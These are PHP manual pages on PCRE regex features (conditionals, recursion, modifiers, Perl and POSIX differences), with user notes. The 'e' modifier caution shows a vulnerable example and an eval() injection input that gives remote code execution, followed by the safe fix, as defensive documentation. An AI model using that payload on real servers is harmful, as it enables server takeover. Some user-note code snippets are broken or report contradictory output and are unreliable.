If the condition is not a sequence of digits or (R), it must be an assertion. This may be a positive or negative lookahead or lookbehind assertion. Consider this pattern, again containing non-significant white space, and with the two alternatives on the second line:

(?(?=[^a-z]*[a-z])
\d{2}-[a-z]{3}-\d{2}  |  \d{2}-\d{2}-\d{2} )

The condition is a positive lookahead assertion that matches an optional sequence of non-letters followed by a letter. In other words, it tests for the presence of at least one letter in the subject. If a letter is found, the subject is matched against the first alternative; otherwise it is matched against the second. This pattern matches strings in one of the two forms dd-aaa-dd or dd-dd-dd, where aaa are letters and dd are digits.

User Contributed Notes

4gekkman at gmail dot com 23-Aug-2013 08:41
In the Russian version of this page made ​​a serious mistake in the translation!

Here this line in the English version of the page:
"The condition is a positive lookahead assertion that matches an optional sequence of non-letters followed by a letter."

Here this line in the Russian version of the page:
"Приведен пример с утверждающим условием касательно предшествующего текста, которое выполняется для необязательной последовательности не-букв с последующей буквой."

Error in the translation of the word: "lookahead". It has been translated as: "предшествующего". But the correct translation is: "последующего".

Translator just made a mistake. He confused Look Ahead with Look Behind assertion.
Anonymous 06-Feb-2011 06:26
Repetition of a subpattern will repeat conditionals that are contained inside it, updating subpattern matches with iteration.

Consider the following code, which scans thru HTML, keeping track of angle brackets "<" ">".  If open bracket "<" matches, then closing bracket ">" must follow before repetition can possibly end.  That way regex will effectively match only outside of tags.

<?php
$pattern='%(*ANY)(.*?(<)(?(2).*?>)(.*?))*?\'\'%s';
$replace='\1Fred';
$subject=
'<html><body class=\'\'>\'\' went to '\'\meyer and ran
into <b>\'\'</b>.
</body></html>'
echo preg_replace("%(*ANY)(.*?((<)(?(3).*?>).*?)*?)\'\'%s",'\1Fred',$subject);
?>

Output will be:
'<html><body class=\'\'>Fred went to Fredmeyer and ran
into <b>Fred</b>.
</body></html>'


Comments

The sequence (?# marks the start of a comment which continues up to the next closing parenthesis. Nested parentheses are not permitted. The characters that make up a comment play no part in the pattern matching at all.

If the PCRE_EXTENDED option is set, an unescaped # character outside a character class introduces a comment that continues up to the next newline character in the pattern.

User Contributed Notes

There are no user contributed notes for this page.


Recursive patterns

Consider the problem of matching a string in parentheses, allowing for unlimited nested parentheses. Without the use of recursion, the best that can be done is to use a pattern that matches up to some fixed depth of nesting. It is not possible to handle an arbitrary nesting depth. Perl 5.6 has provided an experimental facility that allows regular expressions to recurse (among other things). The special item (?R) is provided for the specific case of recursion. This PCRE pattern solves the parentheses problem (assume the PCRE_EXTENDED option is set so that white space is ignored): \( ( (?>[^()]+) | (?R) )* \)

First it matches an opening parenthesis. Then it matches any number of substrings which can either be a sequence of non-parentheses, or a recursive match of the pattern itself (i.e. a correctly parenthesized substring). Finally there is a closing parenthesis.

This particular example pattern contains nested unlimited repeats, and so the use of a once-only subpattern for matching strings of non-parentheses is important when applying the pattern to strings that do not match. For example, when it is applied to (aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa() it yields "no match" quickly. However, if a once-only subpattern is not used, the match runs for a very long time indeed because there are so many different ways the + and * repeats can carve up the subject, and all have to be tested before failure can be reported.

The values set for any capturing subpatterns are those from the outermost level of the recursion at which the subpattern value is set. If the pattern above is matched against (ab(cd)ef) the value for the capturing parentheses is "ef", which is the last value taken on at the top level. If additional parentheses are added, giving \( ( ( (?>[^()]+) | (?R) )* ) \) then the string they capture is "ab(cd)ef", the contents of the top level parentheses. If there are more than 15 capturing parentheses in a pattern, PCRE has to obtain extra memory to store data during a recursion, which it does by using pcre_malloc, freeing it via pcre_free afterwards. If no memory can be obtained, it saves data for the first 15 capturing parentheses only, as there is no way to give an out-of-memory error from within a recursion.

(?1), (?2) and so on can be used for recursive subpatterns too. It is also possible to use named subpatterns: (?P>name) or (?&name).

If the syntax for a recursive subpattern reference (either by number or by name) is used outside the parentheses to which it refers, it operates like a subroutine in a programming language. An earlier example pointed out that the pattern (sens|respons)e and \1ibility matches "sense and sensibility" and "response and responsibility", but not "sense and responsibility". If instead the pattern (sens|respons)e and (?1)ibility is used, it does match "sense and responsibility" as well as the other two strings. Such references must, however, follow the subpattern to which they refer.

The maximum length of a subject string is the largest positive number that an integer variable can hold. However, PCRE uses recursion to handle subpatterns and indefinite repetition. This means that the available stack space may limit the size of a subject string that can be processed by certain patterns.

User Contributed Notes

horvath at webarticum dot hu 15-Apr-2013 09:09
Below are some reusable patterns. I used comments with the 'x' modifier for human-readability.

You can write also a function, that generates patterns for specified bracket/quote pairs.

<?php

/* normal paretheses */
$simple_pattern = "(    (?#root pattern)
  (                     (?#text or expression)
    (?>[^\\(\\)]+)      (?#text)
    |
    \\((?-2)\\)         (?#expression and recursion)
  )*
)";

$simple_okay_text = "5( 2a + (b - c) ) - a * ( 2b - (c * 3(b - (c + a) ) ) )";
$simple_bad_text = "5( 2)a + (b - c) ) - )a * ( ((2b - (c * 3(b - (c + a) ) ) )";

echo "Simple pattern results:\n";
var_dump(preg_match("/^$simple_pattern\$/x",$simple_okay_text));
var_dump(preg_match("/^$simple_pattern\$/x",$simple_bad_text));
echo "\n----------\n";

/* some brackets */
$full_pattern = "(                  (?#root pattern)
  (                                 (?#text or expression)
    (?>[^\\(\\)\\{\\}\\[\\]<>]+)    (?#text not contains brackets)
    |
    (
      [\\(\\{\\[<]                  (?#start bracket)
        (?(?<=\\()(?-3)\\)|           (?#if normal)
        (?(?<=\\{)(?-3)\\}|           (?#if coursed)
        (?(?<=\\[)(?-3)\\]|           (?#if squared)
        (?1)\\>                       (?#else so if tag)
      )))                           (?#close nested-but-logically-the-some-level subpatterns)
    )
  )*
)";

$full_okay_text = "5( 2a + [b - c] ) - a * ( 2b - {c * 3<b - (c + a) > } )";
$full_bad_text = "5[ 2a + [b - c} ) - a * ( 2b - [c * 3(b - c + a) ) ) }";

echo "Full pattern results:\n";
var_dump(preg_match("/^$full_pattern\$/x",$simple_okay_text));
var_dump(preg_match("/^$full_pattern\$/x",$full_okay_text));
var_dump(preg_match("/^$full_pattern\$/x",$full_bad_text));
echo "\n----------\n";

/* some brackets and quotes */
$extrafull_pattern = "(             (?#root pattern)
  (                                 (?#text or expression)
    (?>[^\\(\\)\\{\\}\\[\\]<>'\"]+) (?#text not contains brackets and quotes)
    |
    (
      ([\\(\\{\\[<'\"])             (?#start bracket)
        (?(?<=\\()(?-4)\\)|           (?#if normal)
        (?(?<=\\{)(?-4)\\}|           (?#if coursed)
        (?(?<=\\[)(?-4)\\]|           (?#if squared)
        (?(?<=\\<)(?-4)\\>|           (?#if tag)
        ['\"]                         (?#else so if static)
      ))))                          (?#close nested-but-logically-the-some-level subpatterns)
    )
  )*
)";

$extrafull_okay_text = "5( 2a + ['b' - c] ) - a * ( 2b - \"{c * 3<b - (c + a) > }\" )";
$extrafull_bad_text = "5( 2a + ['b' - c] ) - a * ( 2b - \"{c * 3<b - (c + a) > }\" )";

echo "Extra-full pattern results:\n";
var_dump(preg_match("/^$extrafull_pattern\$/x",$simple_okay_text));
var_dump(preg_match("/^$extrafull_pattern\$/x",$full_okay_text));
var_dump(preg_match("/^$extrafull_pattern\$/x",$extrafull_okay_text));
var_dump(preg_match("/^$extrafull_pattern\$/x",$extrafull_bad_text));

/*

Outputs:

Simple pattern results:
int(0)
int(0)

----------
Full pattern results:
int(0)
int(0)
int(0)

----------
Extra-full pattern results:
int(0)
int(0)
int(0)
int(0)

*/

?>
horvath at webarticum dot hu 15-Apr-2013 09:07
With the (?R) item you can link only to the full pattern, because it quasi equals to (?0). You can not use anchors, asserts etc., and you can only check that string CONTAINS a valid hierarchy or not.

This is wrong: ^\(((?>[^()]+)|(?R))*\)$

However, you can bracketing the full expression, and replace (?R) to the relative link (?-2). This make it reusable. So you can check complex expressions, for example:
<?php

$bracket_system = "(\\(((?>[^()]+)|(?-2))*\\))"; // (reuseable)
$bracket_systems = "((?>[^()]+)?$bracket_system)*(?>[^()]+)?"; // (reuseable)
$equation = "$bracket_systems=$bracket_systems"; // Both side of the equation must be contain valid bracket systems
var_dump(preg_match("/^$equation\$/","a*(a-(2a+2))=4(a+3)-2(a-(a-2))")); // Outputs 'int(1)'
var_dump(preg_match("/^$equation\$/","a*(a-(2a+2)=4(a+3)-2(a-(a-2)))")); // Outputs 'int(0)'

?>

You can also catch multibyte quotes with the 'u' modifier (if you use UTF-8), eg:
<?php

$quoted = "(»((?>[^»«]+)|(?-2))*«)"; // (reuseable)
$prompt = "[\\w ]+: $quoted";
var_dump(preg_match("/^$prompt\$/u","Your name: »write here«")); // Outputs 'int(1)'

?>
Daniel Klein 06-Jun-2012 01:18
The order of non-mutually exclusive alternatives within a recursed sub-pattern is important.
<?php
$pattern = '/^(?<octet>[01]?\d?\d|2[0-4]\d|25[0-5])(?:\.(?P>octet)){3}$/';
?>

You might expect that this pattern will match any IP address in dotted-decimal notation (e.g. '123.45.67.89'). The pattern is intended to match four octets in the following ranges: 0-9, 00-99 & 000-255, each separated by a single dot. However, only the first octet can include values from 200-255; the remainder can only have values less than 200. The reason for this is that if the rest of the pattern fails, recursion is not back-tracked into to find an alternative match. The first part of the sub-pattern will match the first two digits of any octet from 200-255. The rest of the pattern will then fail because the third digit in the octet does not match either '\.' or '$'.

<?php
var_export(preg_match($pattern, '255.123.45.67')); // 1 (true)
var_export(preg_match($pattern, '255.200.45.67')); // 0 (false)
var_export(preg_match($pattern, '255.123.45.200')); // 0 (false)
?>

The correct pattern is:
<?php
$pattern = '/^(?<octet>25[0-5]|2[0-4]\d|[01]?\d?\d)(?:\.(?P>octet)){3}$/';
?>

Note that the first two alternatives are mutually exclusive so their order is unimportant. The third alternative, however, is not mutually exclusive but it will now only match when the first two fail.

<?php
var_export(preg_match($pattern, '255.123.45.67')); // 1 (true)
var_export(preg_match($pattern, '255.200.45.67')); // 1 (true)
var_export(preg_match($pattern, '255.123.45.200')); // 1 (true)
?>
Onyxagargaryll 03-Mar-2011 01:49
Here's an approach to create a multidimensional array according to a string's delimiters, i.e. we want to analyze...

"some text (aaa(b(c1)(c2)d)e)(test) more text"

... as multidimensional layers.

<?php
$string = "some text (aaa(b(c1)(c2)d)e)(test) more text";

/*
 * Analyses the string multidimensionally by its opening and closing delimiters
 */
function recursiveSplit($string, $layer) {
    preg_match_all("/\((([^()]*|(?R))*)\)/",$string,$matches);
    // iterate thru matches and continue recursive split
    if (count($matches) > 1) {
        for ($i = 0; $i < count($matches[1]); $i++) {
            if (is_string($matches[1][$i])) {
                if (strlen($matches[1][$i]) > 0) {
                    echo "<pre>Layer ".$layer.":   ".$matches[1][$i]."</pre><br />";
                    recursiveSplit($matches[1][$i], $layer + 1);
                }
            }
        }
    }
}

recursiveSplit($string, 0);

/*

Output:

Layer 0:   aaa(b(c1)(c2)d)e

Layer 1:   b(c1)(c2)d

Layer 2:   c1

Layer 2:   c2

Layer 0:   test
*/
?>
jonah at nucleussystems dot com 22-Dec-2010 03:18
An unexpected behavior came up that introduced a very hard-to-track bug in some code I was working on.  It has to do with the preg_match_all PREG_OFFSET_CAPTURE flag.  When you capture the offset of a sub-match, it's offset is given _relative_ to it's parent.  For example, if you extract the value between < and > recursively in this string:

<this is a <string>>

You will get an array that looks like this:

Array
(
    [0] => Array
    (
        [0] => Array
        (
            [0] => <this is a <string>>
            [1] => 0
        )
        [1] => Array
        (
            [0] => this is a <string>
            [1] => 1
        )
    )
    [1] => Array
    (
        [0] => Array
        (
            [0] => <string>
            [1] => 0
        )
        [1] => Array
        (
            [0] => string
            [1] => 1
        )
    )
)

Notice that the offset in the last index is one, not the twelve we expected.  The best way to solve this problem is to run over the results with a recursive function, adding the parent's offset.
emanueledelgrande at email dot it 10-Jan-2010 12:47
The recursion in regular expressions is the only way to allow the parsing of HTML code with nested tags of indefinite depth.
It seems it's not yet a spreaded practice; not so much contents are available on the web regarding regexp recursion, and until now no user contribute notes have been published on this manual page.
I made several tests with complex patterns to get tags with specific attributes or namespaces, studying the recursion of a subpattern only instead of the full pattern.
Here's an example that may power a fast LL parser with recursive descent (http://en.wikipedia.org/wiki/Recursive_descent_parser):

$pattern = "/<([\w]+)([^>]*?) (([\s]*\/>)| (>((([^<]*?|<\!\-\-.*?\-\->)| (?R))*)<\/\\1[\s]*>))/xsm";

The performances of a preg_match or preg_match_all function call over an avarage (x)HTML document are quite fast and may drive you to chose this way instead of classic DOM object methods, which have a lot of limits and are usually poor in performance with their workarounds, too.
I post a sample application in a brief function (easy to be turned into OOP), which returns an array of objects:

<?php
// test function:
function parse($html) {
    // I have split the pattern in two lines not to have long lines alerts by the PHP.net form:
    $pattern = "/<([\w]+)([^>]*?)(([\s]*\/>)|".
    "(>((([^<]*?|<\!\-\-.*?\-\->)|(?R))*)<\/\\1[\s]*>))/sm";
    preg_match_all($pattern, $html, $matches, PREG_OFFSET_CAPTURE);
    $elements = array();

    foreach ($matches[0] as $key => $match) {
        $elements[] = (object)array(
            'node' => $match[0],
            'offset' => $match[1],
            'tagname' => $matches[1][$key][0],
            'attributes' => isset($matches[2][$key][0]) ? $matches[2][$key][0] : '',
            'omittag' => ($matches[4][$key][1] > -1), // boolean
            'inner_html' => isset($matches[6][$key][0]) ? $matches[6][$key][0] : ''
        );
    }
    return $elements;
}

// random html nodes as example:
$html = <<<EOD
<div id="airport">
    <div geo:position="1.234324,3.455546" class="index">
        <!-- comment test:
        <div class="index_top" />
        -->
        <div class="element decorator">
                <ul class="lister">
                    <li onclick="javascript:item.showAttribute('desc');">
                        <h3 class="outline">
                            <a href="http://php.net/manual/en/regexp.reference.recursive.php" onclick="openPopup()">Link</a>
                        </h3>
                        <div class="description">Sample description</div>
                    </li>
                </ul>
        </div>
        <div class="clean-line"></div>
    </div>
</div>
<div id="omittag_test" rel="rootChild" />
EOD;

// application:
$elements = parse($html);

if (count($elements) > 0) {
    echo "Elements found: <b>".count($elements)."</b><br />";

    foreach ($elements as $element) {
        echo "<p>Tpl node: <pre>".htmlentities($element->node)."</pre>
        Tagname: <tt>".$element->tagname."</tt><br />
        Attributes: <tt>".$element->attributes."</tt><br />
        Omittag: <tt>".($element->omittag ? 'true' : 'false')."</tt><br />
        Inner HTML: <pre>".htmlentities($element->inner_html)."</pre></p>";
    }
}
?>


Performance

Certain items that may appear in patterns are more efficient than others. It is more efficient to use a character class like [aeiou] than a set of alternatives such as (a|e|i|o|u). In general, the simplest construction that provides the required behaviour is usually the most efficient. Jeffrey Friedl's book contains a lot of discussion about optimizing regular expressions for efficient performance.

When a pattern begins with .* and the PCRE_DOTALL option is set, the pattern is implicitly anchored by PCRE, since it can match only at the start of a subject string. However, if PCRE_DOTALL is not set, PCRE cannot make this optimization, because the . metacharacter does not then match a newline, and if the subject string contains newlines, the pattern may match from the character immediately following one of them instead of from the very start. For example, the pattern (.*) second matches the subject "first\nand second" (where \n stands for a newline character) with the first captured substring being "and". In order to do this, PCRE has to retry the match starting after every newline in the subject.

If you are using such a pattern with subject strings that do not contain newlines, the best performance is obtained by setting PCRE_DOTALL, or starting the pattern with ^.* to indicate explicit anchoring. That saves PCRE from having to scan along the subject looking for a newline to restart at.

Beware of patterns that contain nested indefinite repeats. These can take a long time to run when applied to a string that does not match. Consider the pattern fragment (a+)*

This can match "aaaa" in 33 different ways, and this number increases very rapidly as the string gets longer. (The * repeat can match 0, 1, 2, 3, or 4 times, and for each of those cases other than 0, the + repeats can match different numbers of times.) When the remainder of the pattern is such that the entire match is going to fail, PCRE has in principle to try every possible variation, and this can take an extremely long time.

An optimization catches some of the more simple cases such as (a+)*b where a literal character follows. Before embarking on the standard matching procedure, PCRE checks that there is a "b" later in the subject string, and if there is not, it fails the match immediately. However, when there is no following literal this optimization cannot be used. You can see the difference by comparing the behaviour of (a+)*\d with the pattern above. The former gives a failure almost instantly when applied to a whole line of "a" characters, whereas the latter takes an appreciable time with strings longer than about 20 characters.

User Contributed Notes

There are no user contributed notes for this page.


Pattern Modifiers

The current possible PCRE modifiers are listed below. The names in parentheses refer to internal PCRE names for these modifiers. Spaces and newlines are ignored in modifiers, other characters cause error.

i (PCRE_CASELESS)
If this modifier is set, letters in the pattern match both upper and lower case letters.
m (PCRE_MULTILINE)
By default, PCRE treats the subject string as consisting of a single "line" of characters (even if it actually contains several newlines). The "start of line" metacharacter (^) matches only at the start of the string, while the "end of line" metacharacter ($) matches only at the end of the string, or before a terminating newline (unless D modifier is set). This is the same as Perl. When this modifier is set, the "start of line" and "end of line" constructs match immediately following or immediately before any newline in the subject string, respectively, as well as at the very start and end. This is equivalent to Perl's /m modifier. If there are no "\n" characters in a subject string, or no occurrences of ^ or $ in a pattern, setting this modifier has no effect.
s (PCRE_DOTALL)
If this modifier is set, a dot metacharacter in the pattern matches all characters, including newlines. Without it, newlines are excluded. This modifier is equivalent to Perl's /s modifier. A negative class such as [^a] always matches a newline character, independent of the setting of this modifier.
x (PCRE_EXTENDED)
If this modifier is set, whitespace data characters in the pattern are totally ignored except when escaped or inside a character class, and characters between an unescaped # outside a character class and the next newline character, inclusive, are also ignored. This is equivalent to Perl's /x modifier, and makes it possible to include commentary inside complicated patterns. Note, however, that this applies only to data characters. Whitespace characters may never appear within special character sequences in a pattern, for example within the sequence (?( which introduces a conditional subpattern.
e (PREG_REPLACE_EVAL)
Warning

This feature has been DEPRECATED as of PHP 5.5.0. Relying on this feature is highly discouraged.

If this deprecated modifier is set, preg_replace() does normal substitution of backreferences in the replacement string, evaluates it as PHP code, and uses the result for replacing the search string. Single quotes, double quotes, backslashes (\) and NULL chars will be escaped by backslashes in substituted backreferences.
Caution

The addslashes() function is run on each matched backreference before the substitution takes place. As such, when the backreference is used as a quoted string, escaped characters will be converted to literals. However, characters which are escaped, which would normally not be converted, will retain their slashes. This makes use of this modifier very complicated.

Caution

Make sure that replacement constitutes a valid PHP code string, otherwise PHP will complain about a parse error at the line containing preg_replace().

Caution

Use of this modifier is discouraged, as it can easily introduce security vulnerabilites:

<?php
$html = $_POST['html'];

// uppercase headings
$html = preg_replace(
    '(<h([1-6])>(.*?)</h\1>)e',
    '"<h$1>" . strtoupper("$2") . "</h$1>"',
    $html
);

The above example code can be easily exploited by passing in a string such as <h1>{${eval($_GET[php_code])}}</h1>. This gives the attacker the ability to execute arbitrary PHP code and as such gives him nearly complete access to your server.

To prevent this kind of remote code execution vulnerability the preg_replace_callback() function should be used instead:

<?php
$html = $_POST['html'];

// uppercase headings
$html = preg_replace_callback(
    '(<h([1-6])>(.*?)</h\1>)',
    function ($m) {
        return "<h$m[1]>" . strtoupper($m[2]) . "</h$m[1]>";
    },
    $html
);

Note:

Only preg_replace() uses this modifier; it is ignored by other PCRE functions.

A (PCRE_ANCHORED)
If this modifier is set, the pattern is forced to be "anchored", that is, it is constrained to match only at the start of the string which is being searched (the "subject string"). This effect can also be achieved by appropriate constructs in the pattern itself, which is the only way to do it in Perl.
D (PCRE_DOLLAR_ENDONLY)
If this modifier is set, a dollar metacharacter in the pattern matches only at the end of the subject string. Without this modifier, a dollar also matches immediately before the final character if it is a newline (but not before any other newlines). This modifier is ignored if m modifier is set. There is no equivalent to this modifier in Perl.
S
When a pattern is going to be used several times, it is worth spending more time analyzing it in order to speed up the time taken for matching. If this modifier is set, then this extra analysis is performed. At present, studying a pattern is useful only for non-anchored patterns that do not have a single fixed starting character.
U (PCRE_UNGREEDY)
This modifier inverts the "greediness" of the quantifiers so that they are not greedy by default, but become greedy if followed by ?. It is not compatible with Perl. It can also be set by a (?U) modifier setting within the pattern or by a question mark behind a quantifier (e.g. .*?).

Note:

It is usually not possible to match more than pcre.backtrack_limit characters in ungreedy mode.

X (PCRE_EXTRA)
This modifier turns on additional functionality of PCRE that is incompatible with Perl. Any backslash in a pattern that is followed by a letter that has no special meaning causes an error, thus reserving these combinations for future expansion. By default, as in Perl, a backslash followed by a letter with no special meaning is treated as a literal. There are at present no other features controlled by this modifier.
J (PCRE_INFO_JCHANGED)
The (?J) internal option setting changes the local PCRE_DUPNAMES option. Allow duplicate names for subpatterns.
u (PCRE_UTF8)
This modifier turns on additional functionality of PCRE that is incompatible with Perl. Pattern and subject strings are treated as UTF-8. This modifier is available from PHP 4.1.0 or greater on Unix and from PHP 4.2.3 on win32. UTF-8 validity of the pattern and the subject is checked since PHP 4.3.5. An invalid subject will cause the preg_* function to match nothing; an invalid pattern will trigger an error of level E_WARNING. Five and six octet UTF-8 sequences are regarded as invalid since PHP 5.3.4 (resp. PCRE 7.3 2007-08-28); formerly those have been regarded as valid UTF-8.

User Contributed Notes

Daniel Klein 14-Feb-2012 08:40
If the _subject_ contains utf-8 sequences the 'u' modifier should be set, otherwise a pattern such as /./ could match a utf-8 sequence as two to four individual ASCII characters. It is not a requirement, however, as you may have a need to break apart utf-8 sequences into single bytes. Most of the time, though, if you're working with utf-8 strings you should use the 'u' modifier.

If the subject doesn't contain any utf-8 sequences (i.e. characters in the range 0x00-0x7F only) but the pattern does, as far as I can work out, setting the 'u' modifier would have no effect on the result.
phpman at crustynet dot org dot uk 08-Apr-2011 05:03
The description of the "u" flag is a bit misleading. It suggests that it is only required if the pattern contains UTF-8 characters, when in fact it is required if either the pattern or the subject contain UTF-8. Without it, I was having problems with preg_match_all returning invalid multibyte characters when given a UTF-8 subject string.

It's fairly clear if you read the documentation for libpcre:

       In  order  process  UTF-8 strings, you must build PCRE to include UTF-8
       support in the code, and, in addition,  you  must  call  pcre_compile()
       with  the  PCRE_UTF8  option  flag,  or the pattern must start with the
       sequence (*UTF8). When either of these is the case,  both  the  pattern
       and  any  subject  strings  that  are matched against it are treated as
       UTF-8 strings instead of strings of 1-byte characters.

[from http://www.pcre.org/pcre.txt]
michal dot kocarek at brainbox dot cz 19-May-2009 01:49
In case you're wondering, what is the meaning of "S" modifier, this paragraph might be useful:

When "S" modifier is set, PHP calls the pcre_study() function from the PCRE API before executing the regexp. Result from the function is passed directly to pcre_exec().

For more information about pcre_study() and "Studying the pattern" check the PCRE manual on http://www.pcre.org/pcre.txt

PS: Note that function names "pcre_study" and "pcre_exec" used here refer to PCRE library functions written in C language and not to any PHP functions.
ebarnard at marathonmultimedia dot com 06-Feb-2007 11:35
When adding comments with the /x modifier, don't use the pattern delimiter in the comments. It may not be ignored in the comments area. Example:

<?php
$target = 'some text';
if(preg_match('/
                e # Comments here
               /x',$target)) {
    print "Target 1 hit.\n";
}
if(preg_match('/
                e # /Comments here with slash
               /x',$target)) {
    print "Target 1 hit.\n";
}
?>

prints "Target 1 hit." but then generates a PHP warning message for the second preg_match():

Warning:  preg_match() [function.preg-match]: Unknown modifier 'C' in /ebarnard/x-modifier.php on line 11
varrah NO_GARBAGE_OR_SPAM AT mail DOT ru 03-Nov-2005 01:12
Spent a few days, trying to understand how to create a pattern for Unicode chars, using the hex codes. Finally made it, after reading several manuals, that weren't giving any practical PHP-valid examples. So here's one of them:

For example we would like to search for Japanese-standard circled numbers 1-9 (Unicode codes are 0x2460-0x2468) in order to make it through the hex-codes the following call should be used:
preg_match('/[\x{2460}-\x{2468}]/u', $str);

Here $str is a haystack string
\x{hex} - is an UTF-8 hex char-code
and /u is used for identifying the class as a class of Unicode chars.

Hope, it'll be useful.
hfuecks at nospam dot org 15-Jul-2005 04:14
Regarding the validity of a UTF-8 string when using the /u pattern modifier, some things to be aware of;

1. If the pattern itself contains an invalid UTF-8 character, you get an error (as mentioned in the docs above - "UTF-8 validity of the pattern is checked since PHP 4.3.5"

2. When the subject string contains invalid UTF-8 sequences / codepoints, it basically result in a "quiet death" for the preg_* functions, where nothing is matched but without indication that the string is invalid UTF-8

3. PCRE regards five and six octet UTF-8 character sequences as valid (both in patterns and the subject string) but these are not supported in Unicode ( see section 5.9 "Character Encoding" of the "Secure Programming for Linux and Unix HOWTO" - can be found at http://www.tldp.org/ and other places )

4. For an example algorithm in PHP which tests the validity of a UTF-8 string (and discards five / six octet sequences) head to: http://hsivonen.iki.fi/php-utf8/

The following script should give you an idea of what works and what doesn't;

<?php
$examples = array(
    'Valid ASCII' => "a",
    'Valid 2 Octet Sequence' => "\xc3\xb1",
    'Invalid 2 Octet Sequence' => "\xc3\x28",
    'Invalid Sequence Identifier' => "\xa0\xa1",
    'Valid 3 Octet Sequence' => "\xe2\x82\xa1",
    'Invalid 3 Octet Sequence (in 2nd Octet)' => "\xe2\x28\xa1",
    'Invalid 3 Octet Sequence (in 3rd Octet)' => "\xe2\x82\x28",

    'Valid 4 Octet Sequence' => "\xf0\x90\x8c\xbc",
    'Invalid 4 Octet Sequence (in 2nd Octet)' => "\xf0\x28\x8c\xbc",
    'Invalid 4 Octet Sequence (in 3rd Octet)' => "\xf0\x90\x28\xbc",
    'Invalid 4 Octet Sequence (in 4th Octet)' => "\xf0\x28\x8c\x28",
    'Valid 5 Octet Sequence (but not Unicode!)' => "\xf8\xa1\xa1\xa1\xa1",
    'Valid 6 Octet Sequence (but not Unicode!)' => "\xfc\xa1\xa1\xa1\xa1\xa1",
);

echo "++Invalid UTF-8 in pattern\n";
foreach ( $examples as $name => $str ) {
    echo "$name\n";
    preg_match("/".$str."/u",'Testing');
}

echo "++ preg_match() examples\n";
foreach ( $examples as $name => $str ) {

    preg_match("/\xf8\xa1\xa1\xa1\xa1/u", $str, $ar);
    echo "$name: ";

    if ( count($ar) == 0 ) {
        echo "Matched nothing!\n";
    } else {
        echo "Matched {$ar[0]}\n";
    }

}

echo "++ preg_match_all() examples\n";
foreach ( $examples as $name => $str ) {
    preg_match_all('/./u', $str, $ar);
    echo "$name: ";

    $num_utf8_chars = count($ar[0]);
    if ( $num_utf8_chars == 0 ) {
        echo "Matched nothing!\n";
    } else {
        echo "Matched $num_utf8_chars character\n";
    }

}
?>


Perl Differences

The differences described here are with respect to Perl 5.005.

  1. By default, a whitespace character is any character that the C library function isspace() recognizes, though it is possible to compile PCRE with alternative character type tables. Normally isspace() matches space, formfeed, newline, carriage return, horizontal tab, and vertical tab. Perl 5 no longer includes vertical tab in its set of whitespace characters. The \v escape that was in the Perl documentation for a long time was never in fact recognized. However, the character itself was treated as whitespace at least up to 5.002. In 5.004 and 5.005 it does not match \s.
  2. PCRE does not allow repeat quantifiers on lookahead assertions. Perl permits them, but they do not mean what you might think. For example, (?!a){3} does not assert that the next three characters are not "a". It just asserts that the next character is not "a" three times.
  3. Capturing subpatterns that occur inside negative lookahead assertions are counted, but their entries in the offsets vector are never set. Perl sets its numerical variables from any such patterns that are matched before the assertion fails to match something (thereby succeeding), but only if the negative lookahead assertion contains just one branch.
  4. Though binary zero characters are supported in the subject string, they are not allowed in a pattern string because it is passed as a normal C string, terminated by zero. The escape sequence "\x00" can be used in the pattern to represent a binary zero.
  5. The following Perl escape sequences are not supported: \l, \u, \L, \U. In fact these are implemented by Perl's general string-handling and are not part of its pattern matching engine.
  6. The Perl \G assertion is not supported as it is not relevant to single pattern matches.
  7. Fairly obviously, PCRE does not support the (?{code}) and (??{code}) construction. However, there is support for recursive patterns.
  8. There are at the time of writing some oddities in Perl 5.005_02 concerned with the settings of captured strings when part of a pattern is repeated. For example, matching "aba" against the pattern /^(a(b)?)+$/ sets $2 to the value "b", but matching "aabbaa" against /^(aa(bb)?)+$/ leaves $2 unset. However, if the pattern is changed to /^(aa(b(b))?)+$/ then $2 (and $3) get set. In Perl 5.004 $2 is set in both cases, and that is also TRUE of PCRE. If in the future Perl changes to a consistent state that is different, PCRE may change to follow.
  9. Another as yet unresolved discrepancy is that in Perl 5.005_02 the pattern /^(a)?(?(1)a|b)+$/ matches the string "a", whereas in PCRE it does not. However, in both Perl and PCRE /^(a)?a/ matched against "a" leaves $1 unset.

  10. PCRE provides some extensions to the Perl regular expression facilities:

    1. Although lookbehind assertions must match fixed length strings, each alternative branch of a lookbehind assertion can match a different length of string. Perl 5.005 requires them all to have the same length.
    2. If PCRE_DOLLAR_ENDONLY is set and PCRE_MULTILINE is not set, the $ meta-character matches only at the very end of the string.
    3. If PCRE_EXTRA is set, a backslash followed by a letter with no special meaning is faulted.
    4. If PCRE_UNGREEDY is set, the greediness of the repetition quantifiers is inverted, that is, by default they are not greedy, but if followed by a question mark they are.

User Contributed Notes

henke at henke37 dot cjb dot net 14-Aug-2009 01:48
Also obviously, perl is not going to execute php code when the e modifier is used for replacements.


Differences from POSIX regex

As of PHP 5.3.0, the POSIX Regex extension is deprecated. There are a number of differences between POSIX regex and PCRE regex. This page lists the most notable ones that are necessary to know when converting to PCRE.

  1. The PCRE functions require that the pattern is enclosed by delimiters.
  2. Unlike POSIX, the PCRE extension does not have dedicated functions for case-insensitive matching. Instead, this is supported using the i (PCRE_CASELESS) pattern modifier. Other pattern modifiers are also available for changing the matching strategy.
  3. The POSIX functions find the longest of the leftmost match, but PCRE stops on the first valid match. If the string doesn't match at all it makes no difference, but if it matches it may have dramatic effects on both the resulting match and the matching speed. To illustrate this difference, consider the following example from "Mastering Regular Expressions" by Jeffrey Friedl. Using the pattern one(self)?(selfsufficient)? on the string oneselfsufficient with PCRE will result in matching oneself, but using POSIX the result will be the full string oneselfsufficient. Both (sub)strings match the original string, but POSIX requires that the longest be the result.
  4. The POSIX definition of a "character class" differs from that of PCRE. Simple bracket expressions to match a set of explicit characters are supported in the form of PCRE character classes but POSIX collating elements, character classes and character equivalents are not supported. Supplying an expression with a character class that both starts and ends with :, . or = characters to PCRE is interpreted as an attempt to use one of these unsupported features and causes a compilation error.

Function replacements
POSIX | PCRE
ereg_replace() | preg_replace()
ereg() | preg_match()
eregi_replace() | preg_replace()
eregi() | preg_match()
split() | preg_split()
spliti() | preg_split()
sql_regcase() | No equivalent

User Contributed Notes

cdragon at dracoventions dot com 21-Jul-2013 12:48
In regards to the previous comment that says "there are several other differences including different meaning for the symbols  ( [ different rules for which symbols need escaping", as far as I can tell from reading
http://www.tin.org/bin/man.cgi?section=7&topic=regex
